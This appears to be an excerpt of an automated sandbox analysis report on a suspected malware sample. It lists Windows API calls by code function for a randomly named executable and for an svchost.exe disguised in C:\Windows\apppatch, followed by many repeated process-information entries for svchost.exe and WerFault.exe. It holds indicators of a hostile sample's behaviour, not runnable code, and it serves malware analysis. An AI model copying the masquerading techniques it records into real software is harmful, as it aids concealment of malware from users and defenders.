Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012ECBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,4_2_012ECBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012ECBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,4_2_012ECBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012ECBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,4_2_012ECBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012E9C80 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,4_2_012E9C80
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012ECE19 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,4_2_012ECE19
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012ECE19 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,4_2_012ECE19
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E3D130 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,5_2_00E3D130
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E3CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_00E3CBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E3CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_00E3CBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E3CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_00E3CBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E3CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_00E3CBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E3CB80 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,5_2_00E3CB80
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E39C80 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,5_2_00E39C80
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E3CE19 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_00E3CE19
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E3CE19 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,5_2_00E3CE19
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E7D130 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,8_2_00E7D130
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E7CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,8_2_00E7CBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E7CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,8_2_00E7CBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E7CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,8_2_00E7CBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E7CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,8_2_00E7CBF0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E7CB80 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,8_2_00E7CB80
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E79C80 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,8_2_00E79C80
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E7CE19 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,8_2_00E7CE19
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E7CE19 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,8_2_00E7CE19
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D0BA40 HeapCreate,GetCurrentProcessId,RegisterWindowMessageA,OpenFileMappingA,OpenMutexA,MapViewOfFile,OpenFileMappingA,OpenMutexA,OpenMutexA,MapViewOfFile,Sleep,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,WaitForSingleObject,WaitForSingleObject,OpenFileMappingA,MapViewOfFile,ReleaseMutex,GetHandleInformation,CloseHandle,Sleep,ReleaseMutex,WaitForSingleObject,OpenFileMappingA,MapViewOfFile,ReleaseMutex,OpenEventA,GetTickCount,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,2_2_02D0BA40
Source: C:\Windows\apppatch\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
